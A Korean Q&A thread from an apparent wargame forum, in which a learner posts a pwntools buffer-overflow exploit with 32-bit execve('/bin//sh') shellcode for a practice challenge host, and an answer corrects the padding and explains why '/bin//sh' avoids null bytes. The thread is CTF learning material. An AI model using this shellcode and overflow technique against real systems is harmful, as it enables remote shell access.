어셈블리어 코드

아래는 제가 짠 코드입니다.
경로는 /bin//sh입니다.

image.png

image.png

from pwn import *

p=remote("host3.dreamhack.games", 8438)

p.recvuntil("buf = (")
buf_add=int(p.recv(10), 16)

payload=b"\xb8\x2f\x2f\x73\x68\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc9\x31\xd2\xb8\x08\x00\x00\x00\x83\xc0\x03\xcd\x80" # 30자
payload+=b"a"*102
payload+=p32(buf_add)

p.send(payload)

p.interactive()

여기서 실행이 안되는 이유가 뭐가요?
중간에 \x00(NULL)이 문제라고 하기엔 해당 부분을 지워도 실행이 안됩니다
아니면 혹시 콛르ㅡㄹ 잘못짰을까요?

그리고 다들 /bin//sh로 짰는데
그 이유가 바이트 수 맞춰주기 위함인가요?
그럼 혹시 /bin/sh로 쓰고싶으면 어떻게 하면 될까요?
감사합니다.

#pwnable
작성자 정보
답변 1
kimht
공부벌레

안녕하세요, yyyy님.

작성하신 코드를 다음과 같이 수정하면 정상적으로 작동합니다. 어셈블리는 잘 작성하신 것으로 보입니다. 다만 셸코드의 길이가 28 바이트인데 30 바이트로 잘못 측정된 것으로 보입니다. 또한 버퍼의 시작 주소(rbp-0x80)부터 반환 주소(rbp+0x84)까지의 거리는 132 바이트인데 이 역시 잘못 측정되지 않았나 싶습니다.

...
-payload+=b"a"*102
+payload+=b"a"*104
...

많은 분들이 /bin//sh로 작성하신 이유는 4바이트로 나누어 떨어지도록 만들어서 셸코드에 널바이트가 포함되지 않도록 만들기 위함입니다.

/bin//sh는 리틀 엔디언에 따라 각각 0x6e69622f0x68732f2f로 변환되는데, 값을 살펴보면 널바이트가 포함되어 있지 않습니다.

/bin/sh의 경우, /bin/sh는 리틀 엔디언에 따라 각각 0x6e69622f0x0068732f로 변환되는데, 0x0068732f를 살펴보면 널바이트(00)가 포함되어 있습니다.

이용자로부터 입력을 받는 함수 중 일부 함수(예를 들면 fgets())는 널바이트를 입력받지 않습니다. 이러한 경우 널바이트가 포함된 셸코드는 입력이 불가능하여 활용할 수 없기 때문에 셸코드를 제작할 때는 널바이트가 포함되지 않도록 작성합니다.

감사합니다.

2023.12.28. 16:19
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기